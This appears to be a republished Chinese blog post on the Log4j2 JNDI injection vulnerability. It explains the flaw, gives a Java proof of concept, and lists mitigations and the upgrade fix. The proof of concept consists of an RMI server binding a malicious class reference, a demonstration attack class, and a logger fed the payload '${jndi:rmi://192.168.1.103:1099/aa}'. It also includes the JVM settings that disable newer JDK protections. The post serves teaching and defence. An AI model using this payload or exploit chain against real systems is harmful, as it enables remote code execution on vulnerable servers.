zoukankan      html  css  js  c++  java
  • Log4j2史诗级漏洞导致JNDI注入问题探析

    背景

    Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中,比如在用户登录的时候打印一些异常信息,如xxx密码输入错误超过5次,账号被锁定;xxx账号已被锁定;xxx账号频繁异地登录。

    前不久,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。

    据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。受影响应用包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。

    因该组件使用极为广泛,利用门槛很低,危害极大,网络安全专家建议所有用户尽快升级到安全版本>=2.15.0。

    漏洞细节

    srping-boot-strater-log4j2此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

    Log4j2官方文档

    漏洞明细

    JNDI和RMI的关系

     

    JNDI可以远程下载class文件来构建对象

    漏洞复现

    黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。

    代码

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>com.lingyejun</groupId>
        <artifactId>log4j2-safe</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <dependencies>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.14.0</version>
            </dependency>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.14.0</version>
            </dependency>
        </dependencies>
    
    </project>
    package com.lingyejun.rmi;
    
    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;
    import java.util.Hashtable;
    
    public class HackerAttackCode implements ObjectFactory {
    
        public HackerAttackCode() {
    
        }
    
        static {
            System.out.println("黑客正在攻击你的服务器");
        }
        
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            return null;
        }
    }
    
    package com.lingyejun.rmi;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import javax.naming.Reference;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class RmiServer {
    
        public static void main(String[] args) {
            try {
                LocateRegistry.createRegistry(1099);
                Registry registry = LocateRegistry.getRegistry();
                // new Reference()中的第三个参数表示HackerAttackCode classes 文件的路径, 可以是ftp,http协议,本机直接写null
                Reference reference = new Reference("com.lingyejun.rmi.HackerAttackCode","com.lingyejun.rmi.HackerAttackCode",null);
                ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
                registry.bind("aa",referenceWrapper);
    
                System.out.println("RMI服务端已启动");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
    package com.lingyejun;
    
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class Log4j2SafeMain {
    
        private static final Logger LOGGER = LogManager.getLogger();
    
        public static void main(String[] args) {
            String userName = "lingyejun";
            LOGGER.info("user {} log in success", userName);
    
            userName = "${java:runtime}";
            LOGGER.info("user {} log in success", userName);
    
    
            // Java的高版本默认是不会执行远程类的,只有低于8u121会被rmi注入,低于8u191的版本才会被ldap注入。
            /*System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            System.setProperty("com.sun.ldap.rmi.object.trustURLCodebase","true");*/
    
            userName = "${jndi:rmi://192.168.1.103:1099/aa}";
            LOGGER.info("user {} log in success", userName);
    
    
        }
    }
    

    编写测试代码时候需注意以下几点

    • 视频中的new Reference(), 中的第三个参数表示EvilObj classes 文件的路径, 可以是ftp,http协议,本机直接写null。
    • 在测试类中由于JDK 版本原因可能会报 The object factory is untrusted 类似错误, 因为Java的高版本默认是不会执行远程类的,只有低于8u121会被rmi注入,低于8u191的版本才会被ldap注入。在Log4jTest类中添加:System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    • 翎野君的jdk版本是1.8.0_144,HackerAttackCode需要实现javax.naming.spi.ObjectFactory接口才能复现。

    修复

    1. 临时应急缓解措施

    (1)修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
    (2)修改配置 log4j2.formatMsgNoLookups=True
    (3)将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

    2. 修复方案检查所有使用了 Log4j 组件的系统,将log4j组件版本升级至2.15.0以上。

    总之不要相信客户端的输入信息,永远相信来自用户的输入是危险的。

    本篇文章如有帮助到您,请给「翎野君」点个赞,感谢您的支持。

    原文链接:https://www.cnblogs.com/lingyejun/p/15706455.html

    作者:翎野君
    出处:http://www.cnblogs.com/lingyejun/
    若本文如对您有帮助,不妨点击一下右下角的【推荐】。
    如果您喜欢或希望看到更多我的文章,可扫描二维码关注我的微信公众号《翎野君》。
    转载文章请务必保留出处和署名,否则保留追究法律责任的权利。
  • 相关阅读:
    解决content-type为"application/json"的post过来的数据在php端接受不到的问题
    webshell导致项目崩溃
    mysql启动报错 mysql InnoDB: Error: could not open single-table tablespace file
    php性能优化
    post表单翻页保存搜索条件
    PHP7 MongDB 安装与使用
    Mac下编译Thrift的时候Python2.7会报错 site-packages': Operation not permitted
    苹果系统通过brew安装sshpass
    volatile关键字深入理解
    java语言中application异常退出和线程异常崩溃的捕获方法,并且在捕获的钩子方法中进行异常处理
  • 原文地址:https://www.cnblogs.com/lingyejun/p/15706455.html
Copyright © 2011-2022 走看看